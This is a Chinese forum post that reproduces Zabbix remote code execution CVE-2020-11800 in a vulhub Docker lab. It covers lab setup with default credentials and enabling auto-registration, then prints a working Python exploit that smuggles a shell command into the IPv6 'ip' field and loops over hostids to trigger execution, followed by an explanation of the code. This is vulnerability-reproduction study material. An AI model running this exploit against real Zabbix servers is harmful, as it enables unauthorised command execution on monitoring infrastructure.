-
-
[原创]漏洞复现--Zabbix远程代码执行漏洞(CVE-2020-11800含EXP)
-
发表于:
2023-8-20 19:46
802
-
[原创]漏洞复现--Zabbix远程代码执行漏洞(CVE-2020-11800含EXP)
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。
一.漏洞简介
Zabbix是一种由Alexei Vladishev开发的网络监视和管理系统,采用Server-Client架构,用于监控各种网络服务、服务器和网络设备的状态。它提供了实时监控、报警机制、性能统计和数据可视化等广泛功能。然而,尽管Zabbix具有强大的功能,但在过去曾存在一些安全漏洞。例如,在CVE-2017-2824中,Zabbix的Server端trapper command功能存在一处代码执行漏洞。这个功能允许用户通过Zabbix Server发送命令到Agent端执行。然而,由于修复补丁的缺陷,攻击者可以通过IPv6进行绕过并注入任意命令,导致远程代码执行。
二.影响版本
Zabbix 3.0.x~3.0.30
三.靶场搭建
本实验环境采用vulhub快捷搭建,详情请参考官方文档:https://vulhub.org/
在进入vulhub/zabbix/CVE-2020-11800目录后使用docker-compose up -d
开启docker靶场
然后使用docker ps
命令查看当前开启靶场的端口号,可以看到一共开启了三个容,分别是zabbix的server端、web端和mysql服务。
我们可以看到zabbix的web端开启在8080端口上,所以我们访问http://your-ip:8080
来访问靶场。
因为本漏洞利用需要开启自动注册功能,所以使用默认账号/密码(admin/zabbix)去登录zabbix进行配置
进入Configuration->Actions后,选择Auto registration,点击Create action(名字随意)
然后再创建一个Operations,type选择Add Host,然后点击Add添加,再点击Add保存,这样就配置完成了
四.漏洞复现
由于网上给出的EXP较多,这里我们使用Vulhub官方给出的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection(( '192.168.136.140' , 10051 ), 10 )
conn.send(json.dumps(data).encode())
data = conn.recv( 2048 )
conn.close()
return data
target = sys.argv[ 1 ]
print (send(target, { "request" : "active checks" , "host" : "vulhub" , "ip" : "ffff:::;touch /tmp/success2" }))
for i in range ( 10000 , 10500 ):
data = send(target, { "request" : "command" , "scriptid" : 1 , "hostid" : str (i)})
if data and b 'failed' not in data:
print ( 'hostid: %d' % i)
print (data)
|
执行这个EXP后,可进行命令执行,至此漏洞复现完成。
五.EXP代码分析
- 导入模块:代码开始时导入了sys、socket和json模块,这些模块用于处理命令行参数、进行网络通信和处理JSON数据。
- send函数:这个函数用于向Zabbix Server发送数据的封装。它使用socket.create_connection建立到目标IP地址和端口10051的连接,然后发送一个JSON格式的数据,并等待响应。最后,它关闭连接并返回响应数据。
- 获取目标IP:通过命令行参数获取目标IP地址,这意味着该脚本用于特定的Zabbix Server目标。
- 发送数据给Zabbix Server:使用send函数向目标Zabbix Server发送一个JSON请求。这个请求是"active checks"类型的,其中包括主机名和IP地址等参数。这是测试Zabbix系统的活动检查功能。
- 循环:在一个hostid范围内,从10000到10500,循环尝试向目标Zabbix Server发送命令请求。这个请求包含了脚本ID和主机ID等参数。
- 检查响应数据:如果响应数据不包含"failed"字样,那么打印出hostid和响应数据。这是用于确认命令是否成功执行的部分。
恒梦公众号,喜欢您来~
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!